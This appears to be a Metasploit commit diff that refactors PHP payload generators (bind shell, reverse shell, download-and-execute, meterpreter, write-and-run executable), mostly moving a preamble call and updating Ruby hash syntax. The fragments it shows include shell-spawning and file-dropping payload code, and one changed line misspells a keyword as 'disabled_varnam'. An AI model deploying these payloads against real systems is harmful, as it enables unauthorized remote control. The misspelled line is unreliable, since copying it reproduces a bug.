Push up the preamble and modernize style

egypt · egypt · commit 3c7f78167ab5 · 2017-02-02T17:57:03.000-06:00
diff --git a/lib/msf/core/exploit/php_exe.rb b/lib/msf/core/exploit/php_exe.rb
@@ -52,14 +52,13 @@ def get_write_exec_payload(opts={})
       end
       p = Rex::Text.encode_base64(generate_payload_exe)
       php = %Q{
-      error_reporting(0);
+      #{php_preamble}
       $ex = "#{bin_name}";
       $f = fopen($ex, "wb");
       fwrite($f, base64_decode("#{p}"));
       fclose($f);
       chmod($ex, 0777);
       function my_cmd($cmd) {
-      #{php_preamble}
       #{php_system_block};
       }
       if (FALSE === strpos(strtolower(PHP_OS), 'win' )) {
diff --git a/lib/msf/core/payload/php/bind_tcp.rb b/lib/msf/core/payload/php/bind_tcp.rb
@@ -86,7 +86,7 @@ def generate_bind_tcp(opts={})
 
     php << php_send_uuid if include_send_uuid
 
-    php << %Q^switch ($s_type) { 
+    php << %Q^switch ($s_type) {
 case 'stream': $len = fread($s, 4); break;
 case 'socket': $len = socket_read($s, 4); break;
 }
diff --git a/modules/payloads/singles/php/bind_php.rb b/modules/payloads/singles/php/bind_php.rb
@@ -43,7 +43,7 @@ def php_bind_shell
 
     dis = '$' + Rex::Text.rand_text_alpha(rand(4) + 4);
     shell = <<-END_OF_PHP_CODE
-    #{php_preamble({:disabled_varname => dis})}
+    #{php_preamble(disabled_varname: dis)}
     $port=#{datastore['LPORT']};
 
     $scl='socket_create_listen';
diff --git a/modules/payloads/singles/php/download_exec.rb b/modules/payloads/singles/php/download_exec.rb
@@ -40,7 +40,7 @@ def php_exec_file
     exename = Rex::Text.rand_text_alpha(rand(8) + 4)
     dis = '$' + Rex::Text.rand_text_alpha(rand(4) + 4)
     shell = <<-END_OF_PHP_CODE
-    #{php_preamble({:disabled_varname => dis})}
+    #{php_preamble(disabled_varname: dis)}
     if (!function_exists('sys_get_temp_dir')) {
       function sys_get_temp_dir() {
         if (!empty($_ENV['TMP'])) { return realpath($_ENV['TMP']); }
@@ -64,7 +64,7 @@ def php_exec_file
     fclose($fd_out);
     chmod($fname, 0777);
     $c = $fname;
-    #{php_system_block({:cmd_varname => "$c", :disabled_varname => dis})}
+    #{php_system_block(cmd_varname: "$c", disabled_varnam: dis)}
     @unlink($fname);
     END_OF_PHP_CODE
 
diff --git a/modules/payloads/singles/php/meterpreter_reverse_tcp.rb b/modules/payloads/singles/php/meterpreter_reverse_tcp.rb
@@ -38,7 +38,7 @@ def generate
 
     uuid = generate_payload_uuid
     bytes = uuid.to_raw.chars.map { |c| '\x%.2x' % c.ord }.join('')
-    met = met.sub("\"PAYLOAD_UUID\", \"\"", "\"PAYLOAD_UUID\", \"#{bytes}\"")
+    met = met.sub(%q|"PAYLOAD_UUID", ""|, %Q|"PAYLOAD_UUID", "#{bytes}"|)
 
     met.gsub!(/#.*$/, '')
     met = Rex::Text.compress(met)
diff --git a/modules/payloads/singles/php/reverse_php.rb b/modules/payloads/singles/php/reverse_php.rb
@@ -66,12 +66,12 @@ def php_reverse_shell
     shell=<<-END_OF_PHP_CODE
     $ipaddr='#{ipaddr}';
     $port=#{port};
-    #{php_preamble({:disabled_varname => "$dis"})}
+    #{php_preamble(disabled_varname: "$dis")}
 
     if(!function_exists('#{exec_funcname}')){
       function #{exec_funcname}($c){
         global $dis;
-        #{php_system_block({:cmd_varname => "$c", :disabled_varname => "$dis", :output_varname => "$o"})}
+        #{php_system_block(cmd_varname: "$c", disabled_varname: "$dis", output_varname: "$o")}
         return $o;
       }
     }
diff --git a/modules/payloads/singles/php/shell_findsock.rb b/modules/payloads/singles/php/shell_findsock.rb
@@ -50,13 +50,12 @@ def php_findsock
     var_fd  = '$' + Rex::Text.rand_text_alpha(rand(4) + 6)
     var_out = '$' + Rex::Text.rand_text_alpha(rand(4) + 6)
     shell = <<END_OF_PHP_CODE
-error_reporting(0);
+#{php_preamble}
 print("<html><body>");
 flush();
 
 function mysystem(#{var_cmd}){
-  #{php_preamble()}
-  #{php_system_block({:cmd_varname=>var_cmd, :output_varname => var_out})}
+  #{php_system_block(cmd_varname: var_cmd, output_varname: var_out)}
   return #{var_out};
 }
 

Original file line number	Diff line number	Diff line change
`@@ -86,7 +86,7 @@ def generate_bind_tcp(opts={})`
`86`	`86`
`87`	`87`	`php << php_send_uuid if include_send_uuid`
`88`	`88`
`89`		`- php << %Q^switch ($s_type) {`
	`89`	`+ php << %Q^switch ($s_type) {`
`90`	`90`	`case 'stream': $len = fread($s, 4); break;`
`91`	`91`	`case 'socket': $len = socket_read($s, 4); break;`
`92`	`92`	`}`
Original file line number	Diff line number	Diff line change
`@@ -66,12 +66,12 @@ def php_reverse_shell`
`66`	`66`	`shell=<<-END_OF_PHP_CODE`
`67`	`67`	`$ipaddr='#{ipaddr}';`
`68`	`68`	`$port=#{port};`
`69`		`- #{php_preamble({:disabled_varname => "$dis"})}`
	`69`	`+ #{php_preamble(disabled_varname: "$dis")}`
`70`	`70`
`71`	`71`	`if(!function_exists('#{exec_funcname}')){`
`72`	`72`	`function #{exec_funcname}($c){`
`73`	`73`	`global $dis;`
`74`		`- #{php_system_block({:cmd_varname => "$c", :disabled_varname => "$dis", :output_varname => "$o"})}`
	`74`	`+ #{php_system_block(cmd_varname: "$c", disabled_varname: "$dis", output_varname: "$o")}`
`75`	`75`	`return $o;`
`76`	`76`	`}`
`77`	`77`	`}`